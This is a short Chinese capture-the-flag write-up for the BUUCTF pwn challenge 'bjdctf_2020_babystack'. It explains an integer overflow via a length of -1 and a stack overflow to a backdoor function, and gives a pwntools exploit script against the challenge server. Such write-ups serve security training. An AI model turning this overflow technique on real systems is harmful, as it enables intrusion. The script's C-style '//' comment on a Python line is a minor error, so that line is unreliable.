BUUCTF PWN bjdctf_2020_babystack

1.checksec+运行

BUUCTF PWN bjdctf_2020_babystack_第1张图片

64位/NX保护

2.64位IDA进行中

1.main函数

BUUCTF PWN bjdctf_2020_babystack_第2张图片

read()函数溢出

跟进buf,看看偏移

 BUUCTF PWN bjdctf_2020_babystack_第3张图片

offset=0x10+8

但要注意一点:

read(0, buf, (unsigned int)nbytes); 

无符号整型,需要输入-1,进行整型溢出

接下来就是常规的操作

backdoor函数地址

BUUCTF PWN bjdctf_2020_babystack_第4张图片

 

3.直接上脚本

from pwn import*
#p=process('./12babystack')
p=remote("node4.buuoj.cn",28922)


backdoor=0x4006E6

p.recvuntil('[+]Please input the length of your name:')//发送-1交互,整型溢出
p.sendline('-1')

payload=b'a'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(BUUCTF,安全,pwn,python,c语言,linux)